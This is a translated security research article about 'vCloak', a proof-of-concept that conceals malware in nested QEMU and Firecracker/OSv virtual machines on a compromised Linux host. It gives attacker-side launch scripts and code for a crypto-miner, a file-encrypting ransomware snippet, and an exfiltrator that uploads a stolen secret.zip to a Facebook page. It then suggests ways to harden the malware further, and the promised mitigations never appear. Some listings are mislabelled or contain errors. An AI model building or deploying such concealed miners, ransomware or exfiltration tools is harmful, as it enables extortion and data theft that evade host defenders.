[Перевод] Виртуалка-камуфляж: Вредоносный подход к виртуализации

wc-ojvfx0xf4ye89swimd3_h55s.png

Виртуализация — это палка о двух концах 

Победоносное развитие облаков в последние годы можно связать с постепенным совершенствованием сразу множества технологий, относящихся как к аппаратному, так и к программному обеспечению. Но, наверное, наиболее известна технология, в которой две эти области смыкаются: речь о виртуализации. Упрощенно говоря, виртуализация — это акт абстрагирования аппаратных компонентов (например, процессора, памяти, дисковых приводов, т.д.) и представления их на программном уровне, который динамичнее аппаратного и лучше масштабируется. Данная ключевая характеристика виртуализации располагает к созданию заказных, надежных, высоко доступных онлайновых сервисов, используемых по требованию — сегодня это называется «облако».   
Однако, в этой великой технологии, выводящей на новые парадигмы, кроется и темная сторона. Есть производители облаков, годами извлекавшие пользу из того абстрагирования, что обеспечивается при помощи виртуализации и применяется, чтобы вас защитить, а есть и злоумышленники, вскоре осознавшие, как виртуализацию можно обратить против вас. В последние годы наблюдаются некоторые угрозы — одни из них лишь продуманы концептуально, другие уже встречаются на практике — применяющиеся при вторжениях для маскировки вредоносной активности. Это «деструктивная виртуализация» или, как мы ее называем, «виртуальный камуфляж».  

В этой публикации мы расскажем, кто может стать жертвой таких приемов, дадим обзор исследований, направленных на понимании этого сегмента угроз с учетом новейших приемов виртуализации, подробно разобравшись в «vCloak» (виртуальном камуфляже) для Linux. Это PoC-проект, позиционируемый как «доказательство осуществимости». Мы создадим многоуровневое закамуфлированное вредоносное ПО, которое будет незаметным и минималистичным, но все равно будет обладать той портируемостью, персистентностью и надежностью, для достижения которых применяется виртуализация. Мы хотим развеять мифы, касающиеся этого нового вектора атак и помочь вам лучше понять, как устроен этот новый вектор атак, и объяснить, каким образом злоумышленник может воспользоваться виртуализацией в качестве оружия. Не поленитесь дочитать: в качестве бонуса мы расскажем и о некоторых способах смягчения вредоносности этих атак.

Предыстория виртуализации


Как упоминалось выше, виртуализация — это акт абстрагирования аппаратного обеспечения. Но, чтобы лучше понять материал этого поста, нужно углубиться в тему немного сильнее. Итак, давайте перенесемся к тому моменту, с которого началась эпоха виртуализации. Идея виртуализовать аппаратное обеспечение не нова; ее корни можно проследить до 1960-х, когда IBM потратила немало сил на реализацию новой концепции под названием «разделение времени» (рис. 2).В простейшем виде концепция сводится к следующему: пользователи могут совместно использовать процессор благодаря непрерывному сверхскоростному переключению контекстов. К этой идее удалось прийти, заметив, что каждый пользователь успевает потребить лишь малую толику потенциала всего компьютера. Учитывая, что в те времена компьютер занимал целую комнату и стоил около 20 миллионов долларов США (с поправкой на инфляцию), казалось целесообразным использовать его на полную. Современная виртуализация опирается на тот же принцип — совместное использование ресурсов машины, но с поддержанием логического разделения.
afb35ffc43bdc0e7cb48d42b45cf1f4c.jpg

Рис. 1: Пульт управления IBM 7094, где была впервые реализована концепция разделения времени (изображение принадлежит пользователю Wikipedia ArnoldReinhold, лицензировано под Creative Commons BY-SA 3.0)

С чего начиналась современная виртуализация


В статье »Formal Requirements for Virtualizable Third Generation Architectures» («Формальные требования к виртуализируемым архитектурам третьего поколения») Джеральд Попек и Роберт Голдберг ввели первую четко определенную модель виртуализации, заложившую основы концепций, применяемых по сей день (рисунок 3). В этой статье были представлены некоторые базовые требования к виртуализации, а также классифицированы и проанализированы различные машинные команды. Ниже в формате шпаргалки дан обзор вышеупомянутых концепций.
c2e9c6b459880379ab20a659ea192c3d.png

1971 Representation // Как виртуализацию видели в 1971

Modern Representation // Современное представление

VMM // Монитор виртуальной машины

Hardware // Железо

VM // Виртуальная машина

Applications // Приложения

Operating System // Операционная система

Virtual Machine // Виртуальная машина

Virtual Machine Monitor // Монитор виртуальной машины

Physical Machine/Hardware // Физическая машина/железо

Рисунок 2: Сравнение: представление Попека и Голдберга vs современное обобщенное представление (взято из usenix)

Глоссарий по виртуализации


  • Гипервизор/VMM (Монитор виртуальной машины) — «мозг», обеспечивающий виртуализацию: он абстрагирует, изолирует виртуальное аппаратное железо и управляет им. 
  • Хост-машина — машина (физическая или виртуальная), на которой выполняется VMM
  • Гость /VM/Виртуальная машина — машина, основанная на абстрактном аппаратном обеспечении и изолированном программном, предоставляемом machine VMM
  • Кольца защиты:
  • Четыре периметра (кольцо 0 — кольцо 3) иерархии предметной области, обеспечиваемые на аппаратном уровне 
  • Применяется для отграничения пространства ядра (обычно кольцо 0) от пользовательского пространства (обычно кольцо 3) или гостевой VM от хостовой VM/VMM
  • Железо проверяет текущий уровень привилегий (CPL), указанный в CS (сегменте с кодом) выполняющего процесса, сравнивая этот показатель с DPL (уровнем привилегий дескриптора), относящимся к целевой области памяти 
  • Привилегированные инструкции:
  • Как правило, необходимо выполнять в кольце 0
  • Управляют критически важным низкоуровевым исполнением (HLT,  LIDT)
  • Отображение в памяти (INVLPG)
  • Чтение/запись в специальные регистры  (RDMSR,  WRMSR,  MOV CRx)
  • Могут предоставлять неограниченный доступ к хостовой OS
  • Чувствительные инструкции  — чтение и запись в MMIO (ввод-вывод через память) и устройства ввода/вывода (IN/OUT,  MOV   )
    Эти инструкции действуют по-разному в зависимости от того, в каком кольце защиты находятся (POPF)
    Могут предоставлять неограниченный доступ через гостевую VM
  • Инструкции перехвата — перехват команд и перенаправление логики управления 
  • Эмуляция — Программы, действующие как «имитация» аппаратного обеспечения с издержками на трансляцию  
  • Полная виртуализация:
  • Критически важные инструкции, обнаруживаемые статически или динамически и заменяемые прерываниями, которые инициируют эмулированное выполнение  
  • Работает весьма медленно из-за издержек, связанных с эмуляцией 
  • Паравиртуализация:
  • Эмуляция с учетом присутствия гостевой системы, заменяющая чувствительные инструкции API-вызовами к гостю 
  • Работает весьма быстро, но при этом негибко, поскольку гостя нужно модифицировать 
  • Виртуализация с аппаратной поддержкой –
  • Абстрагирование и поддержка чувствительных инструкций с поддержкой на уровне железа 
  • Наиболее эффективный вариант, но зависит от архитектуры (напр., x86 vs AMD)

21e1193cbaeeb00120f2dcd9bf466c8e.png

Рисунок 3: Типы виртуализации

Virtualization // Виртуализация

Bare metal hypervisors // Гипервизоры для голого железа

Hosted Hypervisors // Хостовые гипервизоры

Emulators // Эмуляторы

Hardware virtualiaztion // Аппаратная виртуализация

Интуитивное представление о виртуализации


В вышеприведенном глоссарии, как и в любой шпаргалке, для полноты восприятия не хватает контекста, зато много модных словечек (см. рис. 4). Мы попытаемся обобщить важнейшие из перечисленных элементов, пожертвовав некоторыми деталями для большей ясности. Как понятно из глоссария, один из самых сложных участков работы при виртуализации связан с обработкой привилегированных/чувствительных инструкций. 

Привилегированными называются такие инструкции, которые позволяют вызывающей стороне получить контроль над критически важными ресурсами. Они принципиально важны для защиты системы от вредоносных действий и неконтролируемых программ из пользовательского пространства. Таковы, например, инструкции HLT (контроль потока выполнения в CPU с возможностью приостановки), влияние на отображение в памяти путем инвалидации страничных записей в буфере ассоциативной трансляции (INVLPG) или доступ к специальным регистрам (RDMSR, WRMSR, MOV CR). Привилегированные инструкции могут предоставить неограниченный доступ хост-машине (например, контроль над всеми обработчиками прерываний).

Чувствительные инструкции можно трактовать как инструкции, привилегированные «с точки зрения» гостя. К их числу относятся такие операции как взаимодействие с устройствами ввода/вывода (IN/OUT), запись в регистры, отображаемые в память (MOV) или такие инструкции, которые работают по-разному в зависимости от того, в каком кольце защиты выполняются; такова, например, запись в регистр EFLAGS  (POPF). Чувствительные инструкции могут предоставить неограниченный доступ к гостевой машине (например, запись непосредственно в устройства ввода/вывода и получение хост-привилегий). 

Кольца защиты применяются для перехвата привилегированных инструкций и активации ядра для обработки их выполнения. Однако не так давно еще не существовало аппаратной поддержки для подобного подхватывания чувствительных инструкций, что не обязательно представляет опасность для хоста, но вот для гостя — та еще точка отказов. Приемы, основанные на работе с программным обеспечением, в частности, эмуляция с использованием статической или динамической двоичной трансляции или паравиртуализации через модификацию гостя применяются, но ценой серьезного снижения производительности/гибкости.  

В качестве решения была введена аппаратная поддержка для чувствительных инструкций, это было сделано путем добавления еще одного кольца безопасности (также называемого «кольцо 1» или «режим администратора»). Широкое распространение такая практика получила в 2005 и 2006, когда Intel и AMD представили VT-x и AMD-V, соответственно. Изначально оптимизация была очень проста, и лишь немногие операции по виртуализации обладали аппаратной поддержкой. Но вскоре такая поддержка распространилась и на многие другие операции, в частности, на виртуализацию блока управления памятью (MMU). В настоящее время виртуализация с аппаратной поддержкой является предпочтительным решением, так как обладает эксплуатационными достоинствами и повышенным уровнем безопасности, а также позволяет удерживать на минимуме издержки по производительности — что бесценно в облачной среде. 

Виртуализуй и защищай


de990d6683d480d8fffeaaf8c68fa421.png

Рисунок 4: Стек KVM-QEMU и соответствующий поток (изображение представлено пользователем Википедии V4711, по лицензии Creative Commons BY-SA 4.0)

Важнейший довод в пользу виртуализации — использовать ресурсы по максимуму, в то же время, обеспечивая защищенность ресурсов, и их изоляцию друг от друга. Современные гипервизоры, оснащенные новейшими программными и аппаратными возможностями, позволяют создавать разнообразные изолированные виртуальные машины; от классических полнофункциональных операционных систем (скажем, Ubuntu) до современных минимальных MicroVM, выполняющих легковесные ядра  (напр., Firecracker + OSv). Изоляция ресурсов, например, памяти, устройств файловой системы и ядра защищает от вмешательства взломанной гостевой VM как хостовую виртуальную машину, так и другие гостевые виртуальные машины.

Например, если на гостевой VM был успешно выполнен эксплойт ядра, и злоумышленник получил на ней права администратора, он все равно не пробьется через изоляцию. Если он не располагает уязвимостью гипервизора, то хост-VM и другие гостевые VM вторжением затронуты не будут, поскольку у них и у взломанной машины ядра отличаются. Как и любая другая стратегия защиты, виртуализация не решает всех проблем; с виртуализацией связаны и присущие только ей уникальные векторы атак. Вот несколько примеров специфических атак, направленных именно на уязвимость виртуализации:

  • Драйверы и совместное использование (Рисунок 5, Круг #1):
  • Мгновенные снимки (Рисунок 5, Круг #2):
  • Побег из песочницы (Рисунок 5, Круг #3):
  • Типы уязвимостей:

Виртуализуй и атакуй


Многие базовые принципы, благодаря которым виртуализация оказывается столь эффективным и универсальным защитным подходом, можно превратить в оружие. Сама идея не нова, исследования подобных угроз уже производились. Можно упомянуть программу «Bashware», показавшую, как WSL (виртуализованное решение для выполнения подсистемы Linux под Windows) может быть взято на вооружение для сокрытия вредоносов от всех современных защитных механизмов.

14 мая 2020 года эта теория как следует подтвердилась на практике, когда новости заполонили сообщения о новом штамме-вымогателе под названием «RagnarLocker.» Его жертвами стали крупные компании, работающие в сфере игр, энергетики и алкоголя. Небольшой VirtualBox, доверенный и снабженный цифровой подписью, выполнял маленькую виртуальную машину Windows XP (менее 500 мб), что позволяло ему тайно зашифровать и выудить данные с машины жертвы. Позже в том же году почти такая же стратегия была применена картелем «Maze».

Во всех атаках, рассмотренных выше, использовался VirtualBox,  и в качестве контейнера для вредоносов он довольно тяжеловесен. Кроме того, он не опирается на преимущества виртуализации с аппаратной поддержкой. Прежде, чем углубиться в тему, давайте подробнее рассмотрим, какими качественными аспектами виртуализации может воспользоваться злоумышленник:

  • Доверенный гипервизор — если гипервизор является доверенным, то выполняющий его гость также является доверенным
  • Бэкдор — злоупотребляя доверительным статусом, который дает гипервизор, можно скомпрометировать данные хоста, поделившись файлами, каналами данных или совместно используя уязвимости гипервизора 
  • Практическая невидимость — современные механизмы защиты не видят внутреннего состояния VM
  • Присущее технологии «закрепление SSL-сертификата» — на сертификаты MicroVM не влияет конфигурация хоста, и они скрыты от нее (поэтому они ускользают от анализа трафика с применением SSL MITM)
  • Присущее технологии камуфлирование — вся ОС выглядит как единственный процесс, поэтому заглянуть внутрь виртуальной машины затруднительно даже с благими намерениями, тем более, что эту маскировку можно даже усилить 
  • Полностью контролируется атакующим — упрощает разработку, поскольку полезная нагрузка подразумевает высокие привилегии
  • Портируемость – высокая портируемость, поскольку вся полезная нагрузка действует поверх виртуализованного самодостаточного окружения 
  • Персистентность — планировщики операционной системы могут поднимать виртуальные машины, и состояние можно с легкостью сохранять («ShadowBunny»)
  • Эффект неожиданности –такой вектор атаки до сих пор воспринимается в новинку, и пока не очень хорошо исследован 

При крупном вторжении от виртуализации одна польза. Предложения можно суммировать в виде доверенной единицы выполнения и осуществлять с их помощью операции, в ином контексте вызывавшие бы подозрения, например, без лишнего шума выполнять вредоносный код и красть данные. Такие выгоды сохраняются потому, что технология виртуализации по-прежнему достаточно нова, а такой «темный» аспект виртуализации пока не получает должного внимания. Как было упомянуто во введении к этому посту, здесь мы попытаемся подсказать вам информацию и инструменты, позволяющие защититься от таких угроз. Для этого рассмотрим проблему с точки злоумышленника и пошагово разработаем доказательство осуществимости такого вторжения через виртуализацию.

Виртуализация с аппаратной поддержкой и KVM


Диверсионный функционал в нашем учебном проекте реализуется во многом при помощи гипервизора, находящегося как в пространстве ядра, так и в пользовательском пространстве. В этом исследовании мы экспериментировали с некоторыми свободными реализациями; подробный анализ их внутреннего устройства выходит за рамки этого поста.

Проще говоря, виртуализация с аппаратной поддержкой возможна благодаря двум дополнительным режимам работы процессора (привилегии администратора для VMM и их отсутствия для гостя), а также особым инструкциям Intel, написанным на ассемблере (для эффективного перехвата), которые в большинстве своем выполняются ядром. Вот несколько примеров:

Режим администратора

  • VMXOFF, VMXON
  • VMWRITE и VMREAD

Непривилегированный (гостевой) режим
  • VMLUANCH  и VMRESUME

VMLUANCH устроен немного иначе, так как может выполняться с гостевой VM, чтобы уступать контроль ядру, либо переключаясь на ядро при помощи прерывания (о чем мы уже говорили во введении) или VMEXIT. Задача его напарника из пользовательского пространства — выделять все структуры памяти, определять обработчики VMEXIT в соответствии с различными нуждами VMEXIT и прикреплять другие эмулированные/виртуализованные ресурсы.

К счастью, для тех, кто не хочет все строить с нуля, в современном ядре Linux поддерживается KVM (kvm.ko); этот модуль ядра фактически превращает ядро Linux в гипервизор. KVM предоставляет возможности Intel VT-x через интерфейс ioctl (2). Также KVM активно использует встроенные возможности ядра Linux для управления песочницами, которые (в усиленной версии) более известны как виртуальные машины.

История атаки


Такая атака подразумевает привилегированное использование скомпрометированной хост-машины с Ubuntu, на которой включена функция  VT-x. Атака использует вредоносные информационные нагрузки (майнеры и вымогатели), незаметно выполняясь на скомпрометированном хосте, прикрытая самодельной виртуальной маскировкой (Рисунок 6)
  1. Привилегированный процесс ветвит и распаковывает «vCloak1» в дочерний процесс (предполагается)
  2. «vCloak1» конфигурирует и выполняет уровень (L1) нашего камуфляжа, виртуальную машину Ubuntu Minimal на QEMU.
  3. Из Ubuntu «vCloak2» конфигурирует и выполняет уровень 2 (L2) нашего камуфляжа, это три приложения OSv (будет объяснено ниже…):

 
Время засучить рукава! Для большей удобочитаемости мы пропустим некоторые фрагменты кода, а другие подробно разберем.Приглашаем вас полностью исследовать код к этой реализации, а также связанные с ним инструменты и информацию; все это лежит в репозитории, ссылка на который дана ниже.
a23f2faa37bfd65a32a3472a4901de8f.png

Рисунок 5: Ход атаки

Подготовка камуфляжа для уровня 1


Построим vCloak1, который позволит нам выполнить первый уровень нашей маскировки. Воспользуемся минимальной виртуальной машиной под Ubuntu (мы могли бы с тем же успехом скомпилировать Ubuntu для firecracker) с QEMU. Этот этап реализован при помощи vcloak1.sh, который автоматически выполняется предположительно привилегированной точкой входа:  
attacker@host:~$ git clone https://github.com/ch-mk/vCloak.git

attacker@host:~$ cd PoC

attacker@host:~/PoC$ cat vcloak1.sh 

# запускаем демон virtio, чтобы предоставить файлы хоста 

virtiofsd --socket-path=/var/run/vm001-vhost-fs.sock -o source=/root/supersecret \ # запускаем минимальный образ Ubuntu 

qemu-system-x86_64 \

-chardev socket,id=char0,path=/var/run/vm001-vhost-fs.sock \

-device vhost-user-fs-pci,chardev=char0,tag=myfs \

-object memory-backend-memfd,id=mem,size=4G,share=on \

-numa node,memdev=mem \

attacker@host:~/PoC$ ./vcloak1.sh # фактическое выполнение осуществляется автоматически, привилегированной точкой входа

Листинг 1: Строим уровень 1 виртуального камуфляжа, минимальный вариант Ubuntu на QEMU с virtiofs

В этот момент мы достигли первой границы виртуализации. Как только vCloak1 закгрузится, он выполняет vCloak2, конфигурирующий и выполняющий второй уровень нашего камуфляжа.

Подготовка камуфляжа для уровня 2 


vCloak2 выполняет ядро VT-x  с минимальной системной обвязкой (Unikernel) изнутри виртуапьной машины. Таким образом, наша гостевая виртуальная машина с уровня 1 также должна поддерживать KVM и VT-x (это легко проверить; см. листинг 2), поэтому он может служить в качестве отдельной хост-машины. Такая рекурсивная возможность известна под названием «Вложенная виртуализация». 
attacker@vcloak1:~/PoC$ lsmod | grep kvm # требуется поддержка KVM 

kvm_intel 282624 0

kvm 663552 1 kvm_intel

Листинг 2: Проверяем KVM и собираем уровень 2 нашего камуфляжа

Второй уровень нашего камуфляжа реализован в виде скрипта vcloak2.py, который автоматически выполняется задачей crontab. Он выполняет три разные виртуальные машины с технологией firecracker, которые могут коммуницировать через разделяемый сокет. На каждой VM выполняется ядро Unikernel, передаваемое в виде «kernel.elf,» с единственным процессом, выполняемым из корневой директории (»/») файловой системы, передаваемой как «fs.img.» Чуть ниже мы объясним природу этих процессов, но пока просто опишем начальную настройку и выполнение типичной виртуальной машины с технологией firecracker.

attacker@vcloak1:~$ cat vcloak2.py # фактическое выполнение происходит автоматически при помощи crontab

def main(options):

# Проверяем, установлен ли firecracker is installed

dirname = os.path.dirname(os.path.abspath(__file__))

firecracker_path = find_firecracker(dirname, options.arch)

# Firecracker установлен, так что начнем

print_time(«Start»)

socket_path = '/tmp/firecracker.socket'

if options.api:

firecracker = start_firecracker(firecracker_path, socket_path)

# Готовим аргументы, которые будем передавать при создании инстанса виртуальной машины 

kernel_path = options.kernel

if not kernel_path:

kernel_path = os.path.join(dirname, '../build/release/kernel.elf')

qemu_disk_path = options.image

if not qemu_disk_path:

qemu_disk_path = os.path.join(dirname, '../build/release/fs.img')

raw_disk_path = disk_path(qemu_disk_path)

cmdline = options.execute

if not cmdline:

with open(os.path.join(dirname, '../build/release/cmdline'), 'r') as f:

cmdline = f.read()

if options.arch == 'aarch64':

cmdline = «console=tty --disable_rofs_cache %s» % cmdline

else:

cmdline = «--nopci %s» % cmdline

client.configure_machine(options.vcpus, memory_in_mb)

print_time(«Configured VM»)

client.add_disk(raw_disk_path)

print_time(«Added disk»)

if options.networking:

client.add_network_interface('eth0', 'fc_tap0')

client.create_instance(kernel_path, cmdline)

print_time(«Created OSv VM with cmdline: %s» % cmdline)

if not options.api:

if options.verbose:

print(client.firecracker_config_json())

firecracker, config_file_path = start_firecracker_with_no_api(firecracker_path, client.firecracker_config_json())

else:

client.start_instance()

print_time(«Booted OSv VM»)

attacker@vcloak1:~$ python vcloak2.py # actual execution is automatic by crontab

attacker@vcloak1:~$ sudo apt update

Листинг 3: vcloak2.py выполняет три контейнера VT-x

Пока все нормально, но что же выполняют эти инстансы firecracker? Для затравки в истории об атаке уже упоминалось, что они выполняют приложения OSv. OSv — это свободное универсальное модульное ядро вида unikernel, рассчитанное на безопасную поддержку единичного немодифицированного приложения Linux в виде microVM поверх гипервизора, в результате чего получается минимальное ядро,             совместимое с Linux на уровне двоичного кода. Такие решения как OSv — это, по сравнению с MicroVM, уже следующий шаг на пути к минимализму; когда по ядру unikernel создается на каждое приложение, получается приложение OSv с ядром, ужатым до сухого остатка.

Рассмотрим, как просто собрать приложение OSv из нативного кода на C++:

attacker@vcloak1:~$ sudo apt update 

attacker@vcloak1:~$ sudo apt install git make build-essential libboost-system-dev qemu-system-x86 qemu-utils openjdk-8-jdk maven pax-utils python python-dev

attacker@vcloak1:~$ git clone https://github.com/cloudius-systems/osv.git #clone git repository

attacker@vcloak1:~$ cd osv

attacker@vcloak1:~/osv$ git submodule update --init –recursive # install # install examples and other dependencies

attacker@vcloak1:~/osv$ ls -l apps/native-example/ #checkout hello world app

total 40

-rwxrwxr-x 1 mc mc 16696 Dec 30 09:29 hello

-rw-rw-r-- 1 mc mc 77 Dec 30 09:20 hello.c

-rw-rw-r-- 1 mc mc 150 Dec 30 09:20 Makefile

-rw-rw-r-- 1 mc mc 57 Dec 31 00:09 module.py

-rw-rw-r-- 1 mc mc 49 Dec 30 09:20 README

-rw-rw-r-- 1 mc mc 28 Dec 30 09:20 usr.manifest

attacker@vcloak1:~/osv$ cat apps/native-example/hello.c #checkout actual c code

#include 

int main(){

printf(«Hello from C code\n»);

return 0;

}

attacker@vcloak1:~/osv$ ./scripts/build image=native-example #let’s wrap out app with OSv unikernel

attacker@vcloak1:~/osv$ ./scripts/run.py #execute latest OSv build

OSv v0.55.0-157-g0cf6acc7

eth0: 192.168.122.15

Booted up in 0.00 ms

Cmdline: /hello

Hello from C code

Листинг 4: Сборка и запуск простой программы на C, где OSv служит оберткой

Аналогично, можно собрать приложение OSv и на Python:

In a very similar way we can build an OSv app with python:

attacker@vcloak1:~/osv$ ./scripts/build image=python2x

attacker@vcloak1:~/osv$ ./scripts/run.py

OSv v0.55.0-157-g0cf6acc7

eth0: 192.168.122.15

Booted up in 0.00 ms

Cmdline: /python

Python 2.7.18 (default, Aug 4 2020, 11:16:42) 

[GCC 9.3.0] on linux2

Type «help», «copyright», «credits» or «license» for more information.

>>>

Листинг 5: Собираем и запускаем простую программу на python с OSv в качестве обертки 

Как было кратко продемонстрировано выше, OSv — это мощный и легкий способ превращать обычные приложения в приложения Unikernel. В комбинации с микро-виртуальной машиной, например, с Firecracker (или даже с еще более мелкими вариантами аппаратной виртуализации), создается минимальная и при этом высокопроизводительная виртуализованная полезная нагрузка. Подробнее об этом отличном продукте рассказано на странице OSv в GitHub. На данном этапе все, что нам остается доделать — написать нужный код на python для каждого из трех приложений OSv, как мы и обещали.

e097e6c8dd920e6d361603f87c32d453.jpg

Рисунок 6: Вложенная виртуализация порой бывает немного запутанной 

Вложенная виртуализация


Мы рассмотрели, как уровень за уровнем создавался наш камуфляж, и проследили развертывание вредоносного ПО от первого привилегированного выполнения до создания множества минимальных ядер Unikernel, образующих второй уровень нашего камуфляжа. Эти ядра Unikernel (уровень 2) виртуализованы с применением VT-x, KVM и firecracker поверх другой виртуальной машины с Ubuntu (уровень 1), хотя, firecracker также может использоваться на этом уровне.

Такое «зачаточное» состояние достижимо благодаря вложенной виртуализации — возможности, поддерживаемой KVM. Такая виртуализация позволяет гостевой машине выступать в качестве хост-машины. В этой статье я весьма вольно употреблял термин «уровень камуфляжа», поэтому смысл данного термина, возможно, будет понятнее, е6сли сравнить его с терминами KVM для описания вложенной виртуализации (т.e., L1 — это виртуальная машина, исполняемая с физического хоста; L2 — это виртуальная машина, выполняемая с гостевой машины L1).

Создание майнера


В ходе описываемых исследований предпринималось множество попыток маскировки, создавались как опенсорсные майнеры, пригодные для реального использования, так и минималистичные инструменты такого рода, которые могут послужить только в качестве доказательства осуществимости. Для простоты картины быстро презентуем опенсорсный майнер, разработанный subhan-nadeem:
attacker@vcloak1:~/osv$ cat apps/python-miner/miner.py # выполнение происходит автоматически

import hashlib

def get_sha_256_hash(input_value):

return hashlib.sha256(input_value).hexdigest()

def block_hash_less_than_target(block_hash, given_target):

return int(block_hash, 16) < int(given_target, 16)

# данные о первичном блоке (корень дерева Меркла, описывающего транзакции, метка времени, версия клиента, хеш предыдущего блока)

blockData = \

'01000000000000000000000000000000000000000000000000000000000000000000000' \

'03ba3edfd7a7b12b27ac72c3e67768f617fc81bc3888a51323a9fb8aa4b1e5e4a29ab5f' \

'49ffff001d1dac2b7c01010000000100000000000000000000000000000000000000000' \

'00000000000000000000000ffffffff4d04ffff001d0104455468652054696d65732030' \

'332f4a616e2f32303039204368616e63656c6c6f72206f6e20627266e6b206f66207365' \

'636f6e64206261696c6f757420666f722062616e6b73ffffffff0100f2052a010000004' \

'34104678afdb0fe5548271967f1a67130b7105cd6a828e03909a67962e0ea1f61deb649' \

'f6bc3f4cef38c4f35504e51ec112de5c384df7ba0b8d578a4c702b6bf11d5fac00000000' \

.encode()

# Исходная цель – так будет проще всего, если я когда-нибудь соберусь намайнить блок биткойна  

target = '0x00000000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF'

solution_found = False

block_data_hexadecimal_value = int(blockData, 16)

nonce = 0

while not solution_found:

block_data_with_nonce = block_data_hexadecimal_value + nonce

# Найти двойной хеш

first_hash = get_sha_256_hash(hex(block_data_with_nonce).encode())

second_hash = get_sha_256_hash(first_hash.encode())

print('Nonce: ' + str(nonce))

print('Block hash:')

print(second_hash)

print('Is the block hash less than the target?')

solution_found = block_hash_less_than_target(second_hash, target)

print(solution_found)

if not solution_found:

nonce += 1

Листинг 6: Фрагменты кода из майнера

Создаем код вымогателя

Точно, как и в случае майнеров, на роль вымогателей было протестировано много решений. Но ради ясности мы рассмотрим PoC-версию вымогателя под авторством guihermej:
attacker@vcloak1:~/osv$ cat apps/python-ransom/ransom.py # выполнение происходит автоматически

# Открыть файл

file_name = «foto.jpg»

file = open(file_name, «rb»)

file_data = file.read()

file.close()

# Удалить файл

#os.remove(file_name)

# Зашифровать данные файла (при помощи AES)

key = «0123456789abcdef» # 16-байтный ключ – замена для вашего ключа

aes = pyaes.AESModeOfOperationCTR(key)

crypto_data = aes.encrypt(file_data)

# Сохранить файл

new_file_name = file_name + «.pyransom» # Путь, чтобы сбросить файл

new_file = open(new_file_name, 'wb')

new_file.write(crypto_data)

new_file.close()

Листинг 7: Фрагменты кода из вымогателя

Создание извлекателя


Задача этого компонента проста. Он слушает ввод, поступающий либо от майнера, либо от вымогателя, после чего в безопасном виде отсылает его доверенным API (напр., Facebook). В данной части мы получаем так называемое «свободное закрепление SSL-сертификата». Опять же, стоящие перед нами задачи мы решим, воспользовавшись силой опенсорса. На этот раз мы базируем наш код на проекте с GitHub от zone13.
attacker@vcloak1:~$ cat apps/python-ransom/ransom.py # выполнение происходит автоматически

import facebook, time, base64, textwrap

def main():

cfg = {

# Заполняем идентификатор страницы и обращаемся к токену, приведенному ниже 

«page_id» : «»,

«access_token» : «»

}

api = get_api(cfg)

# Считываем zip-файл как двоичные данные и зашифровываем их при помощи base-64

msg = file_read_into_array()

# Вычисляем, сколько постов нужно сделать

chunks = (len(msg) / float(50000)) 

if isinstance(chunks, float) or (a == 0):

chunks = int(chunks) + 1

# Дробим данные base-64 на фрагменты по 50 000 символов каждый 

file_array = textwrap.wrap(msg, 50000)

# Публикуем данные на странице Facebook 

for i in range(chunks):

status = api.put_wall_post(«Part####» + str(i) + « « + file_array[i])

time.sleep(0.5)

# Функция для чтения zip-файла и кодировки base-64 

def file_read_into_array():

with open(«secret.zip», «rb») as f:

a = f.read()

encoded_data = base64.encodestring(a)

return encoded_data

# Основная функция для публикации данных на Facebook

def get_api(cfg):

graph = facebook.GraphAPI(cfg['access_token'])

resp = graph.get_object('me/accounts')

page_access_token = None

for page in resp['data']:

if page['id'] == cfg['page_id']:

page_access_token = page['access_token']

graph = facebook.GraphAPI(page_access_token)

return graph

if __name__ == «__main__»:

main()

Листинг 8: Фрагменты кода Извлекателя

Повторение и анализ


Повторим, что нам удалось. В качестве доказательства осуществимости мы написали вредоносный код, который майнит, шифрует и выуживает данные из пораженного хоста. Первичная полезная нагрузка образует первый уровень камуфляжа (или виртуализации) при помощи микро-виртуальной машины на основе Ubuntu, которой, предположительно, доверяет хост.

Отсюда и в дальнейшем память всех различных процессов будет представлена как единый сплющенный двоичный блоб. Все вызовы API и экосистема ОС, заключенные в MicroVM, извне невидимы. На сертификатах MicroVM не отражается конфигурация хоста, эти сертификаты скрыты от хоста (в частности, это позволяет спрятаться от инструментов анализа трафика, воспользовавшись защитой SSL MITM).

3049605160e5cfc573d99b4a4d5ff3f0.png

Рисунок 7: Программный стек vCloak; цветными линиями обозначены границы отдельных областей виртуализации 

Как только MicroVM завершит процесс загрузки, она загрузит три разных ядра Unikernel, основанных на VT-x и Firecracker, и в этих ядрах будет содержаться вредоносная логика. При помощи таких Unikernel-ядер в модель памяти вносится еще один уровень хаоса, не только потому, что здесь добавляется еще один слой виртуализации, но и потому, что у ядра Unikernel пространство пользователя и пространство ядра не отделены друг от друга. Из-за всего этого коверкания серьезно усложняется работа оператора первой хост-машины, который обнаружил первый слой камуфляжа и хочет обратить вспять его логику.

Получившееся в результате многоуровневое замаскированное вредоносное ПО не только коварно как никогда, но и имеет минимальный размер, и поэтому отлично портируется. Поскольку виртуальная машина предоставляет все окружение, снижается вероятность отказа из-за вычислимости или проблем с зависимости.

Дальнейшие исследования и оптимизация


hzsse3jw_welft1ih-pytgvsbh0.png
Рисунок 8: Таблица для самопроверки

В вышеприведенной таблице показаны различные приемы (столбцы с рисунка 9), организованные по признаку аспектов атаки и целесообразности того или иного вектора атаки (первая строка с рисунка 9). Приемы, рассмотренные в этой статье, перечислены в зеленых клетках, а другие ракурсы, также затронутые нами в ходе исследования — в белых клетках. Прежде, чем мы попытаемся дать некоторые советы и завершить этот пост, давайте уделим внимание «укреплению» нашего вредоносного ПО с применением приемов, упомянутых в белых клетках вышеприведенной таблицы (рисунок 8).

  • Извлекатель для совместно используемой памяти — можно настроить извлекатель так, чтобы он делился памятью с вредоносами и тем самым не так сильно светил разделяемые данные.
  • Извлекатель для совместно используемой сети — в некоторых случаях бывает более рационально воровать данные через какой-нибудь сетевой протокол, поскольку за ним могут следить не столь пристально.
  • Вредоносы для промышленного использования — мы экспериментировали с реальными вредоносами, например, xmrig и GonnaCry, и оба можно обернуть в виртуалку без труда.
  • Среда времени исполнения — как vCloak1, так и vCloack2, могут быть представлены в виде минимальной VM, MicroVM, Unikernel или просто крошечного загружаемого ELF, если вложенная виртуализация не требуется. Весь этот уровень опционален.
  • Гипервизор пользовательского пространства — На протяжении всего этого экскурса используется firecracker, но можно реализовать более компактный гипервизор для пользовательского пространства, чтобы еще сильнее ужать полезную нагрузку.
